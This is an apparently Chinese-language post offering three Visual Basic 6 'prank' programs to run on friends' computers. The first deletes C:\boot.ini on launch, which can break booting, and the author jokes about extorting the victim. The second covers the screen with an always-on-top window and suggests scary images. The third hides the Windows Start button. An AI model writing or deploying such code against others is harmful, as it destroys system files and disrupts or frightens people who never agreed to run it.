以下程序请不要执行!否则后果自负,如果你真要以身作则的话,偶建议你先保存好你的所有文件,然后再运行程序,作好电脑崩溃的准备(好象没那么严重)
1.最简单的整人代码
Private Sub Form_Load()
Kill "C:\boot.ini"
End
End Sub
该程序功能是删除C盘目录下的boot.ini,不要说偶贱,这对用户产生的影响不大(经本人实验证明)该程序只能导致双操作系统用户无法正常启动。当然,解决的方法也很简单,拿一张实创启动盘(网上有的下)引导一下就ok了。如果你的朋友运行了本程序却没有这张启动盘的话,恭喜你了,你可以趁机勒索点好处。
2.填充屏幕
新建一个窗体,把BorderStyle改为0,高=9000,宽=12000,这样用户的屏幕就被这个窗体填满了。然后再加入以下代码
Option Explicit
''使指定窗口总在最前
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const SWP_NOZORDER = &H8
Sub SetFormTopmost(TheForm As Form)
SetWindowPos TheForm.hwnd, HWND_TOPMOST, 0, 0, 0, 0, _
SWP_NOZORDER + SWP_NOMOVE + SWP_NOSIZE
End Sub
Private Sub Form_Load()
SetFormTopmost Me '使窗体总在最前
End Sub
这样整个屏幕被窗体占据了,而且其他程序也被这个窗体挡在后面。如果+几张恐怖的图片效果最佳。解决方法:目前好没有,用任务管理器结束程序或许可以吧。
3.隐藏开始按钮。(自己试试效果吧)
Private Declare Function FindWindowEx Lib "user32" Alias _
"FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As _
Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal _
hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Const SW_HIDE = 0
Const SW_SHOW = 5
Dim bx As Boolean
Private Sub Form_Load()
Dim hLong As Long
Dim hwnd As Long
hwnd = FindWindow("Shell_TrayWnd", vbNullString)
hLong = FindWindowEx(hwnd, 0, "Button", vbNullString)
If bx Then
ShowWindow hLong, SW_SHOW
bx = False
Else
ShowWindow hLong, SW_HIDE
bx = True
End If
End Sub
最后再说几句:学任何一门编程语言并不靠死记硬背,还得动些脑子,学学别人设计程序的设计思路。